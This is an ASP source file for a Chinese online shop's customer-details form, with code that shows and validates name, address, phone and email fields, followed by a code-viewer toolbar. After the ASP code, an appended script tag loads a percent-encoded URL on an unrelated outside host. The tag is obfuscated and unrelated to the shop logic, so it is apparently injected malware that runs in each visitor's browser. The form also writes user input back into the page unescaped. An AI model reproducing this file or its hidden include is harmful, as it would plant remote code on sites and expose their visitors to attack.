📄 shopcustomer.asp
字号:
<!--#include file="shop$db.asp"-->
<%
Dim msg, newcust
Session("CurrentURL")="ShopCustomer.asp"
Session("FollowonURL")="ShopShipping.asp"
if Session("cartItem")=0 or Session("cartitem")="" then
Response.Redirect "shoperror.asp?msg=" & Server.URLEncode ("您还没有购买任何商品!")
end if
If request("new")<>"" then
ResetCustomerSessionData
end if
If Session("LastName")<> "" and Session("Customerid") <>"" then
response.redirect Session("followonurl")
end if
ShopGetContact
'**************************************************
Sub ShopGetContact()
sAction=Request.form("Action")
If sAction = "" Then
ShopPageHeader
GetCustomerSessionData()
DisplayForm()
ShopPageTrailer
Else
ValidateData()
if sError = "" Then
UpdateContact
UpdateCustomerSessionData
response.redirect Session("followonurl")
else
ShopPageHeader
DisplayForm
ShopPageTrailer
end if
end if
end Sub
Sub DisplayForm()
Dim sRowColor
sRowColor="#007766"
Response.Write("<blockquote>")
response.write ("<p align=center><a href=shoplogin.asp>已经注册过的用户入口</a></p>")
if sError<> "" then
response.write "<b align=center>" & SError & "</b>"
Serror=""
end if
Response.Write("<font color=red>" & sError & "</font><p>")
Response.Write("<form name=form1 method=Post action=" & Session("currenturl") & ">")
Response.Write("<table cellpadding=2 cellspacing=1 align=center bgcolor=#000000>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>姓名:</td><td><input size=50 name=strLastname value=" & Chr(34) & strLastname & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>地址:</td><td><input size=50 name=strAddress value=" & Chr(34) & strAddress & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>城市:</td><td><input size=50 name=strCity value=" & Chr(34) & strCity & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>省份:</td><td><input size=10 name=strState value=" & Chr(34) & strState & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>邮政编码:</td><td><input size=10 name=strPostCode value=" & Chr(34) & strPostCode & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>电话:</td><td><input size=20 name=strPhone value=" & Chr(34) & strPhone & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>信箱:</td><td><input size=50 name=strEmail value=" & Chr(34) & strEmail & Chr(34) & "></td></tr>")
Response.Write("</table><p align=center>")
Response.Write("<b> 以下的信息可选:")
Response.Write("<table cellpadding=2 cellspacing=1 align=center bgcolor=#000000>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>公司:</td><td><input size=50 name=strCompany value=" & Chr(34) & strCompany & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>网站:</td><td><input size=50 name=strwebsite value=" & Chr(34) & strWebSite & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>工作电话:</td><td><input size=20 name=strWorkphone value=" & Chr(34) & strWorkphone & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>移动电话:</td><td><input size=20 name=strMobilephone value=" & Chr(34) & strMobilephone & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>传真:</td><td><input size=20 name=strFax value=" & Chr(34) & strFax & Chr(34) & "></td></tr>")
Response.Write("<tr bgcolor=" & sRowColor &"><td>国家:</td><td><input size=20 name=strCountry value=" & Chr(34) & strCountry & Chr(34) & "></td></tr>")
Response.Write("</table><p align=center>")
Response.Write("<input type=submit name=action value=确定>")
Response.Write("</form>")
Response.Write("</blockquote>")
End Sub
Sub ValidateData()
strLastname = Request.Form("strLastname")
strAddress = Request.Form("strAddress")
strCity = Request.Form("strCity")
strState = Request.Form("strState")
strPostCode = Request.Form("strPostCode")
strCountry = Request.Form("strCountry")
strCompany = Request.Form("strCompany")
strWebsite = Request.Form("strWebsite")
strPhone = Request.Form("strPhone")
strWorkphone = Request.Form("strWorkphone")
strMobilephone = Request.Form("strMobilephone")
strFax = Request.Form("strFax")
strEmail = Request.Form("strEmail")
If strLastname = "" Then
sError = sError & "姓名是必须要填的项目。<br>"
End If
If strAddress = "" Then
sError = sError & "地址是必须要填的项目。<br>"
End If
If strCity = "" Then
sError = sError & "城市是必须要填的项目。<br>"
End If
If strState = "" Then
sError = sError & "省份是必须要填的项目。<br>"
End If
If strPostCode = "" Then
sError = sError & "邮政编码是必须要填的项目。<br>"
End If
If strPhone = "" Then
sError = sError & "电话是必须要填的项目。<br>"
End If
If strEmail = "" Then
sError = sError & "邮箱是必须要填的项目。<br>"
End If
strContactreason = ListType
end sub
%>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -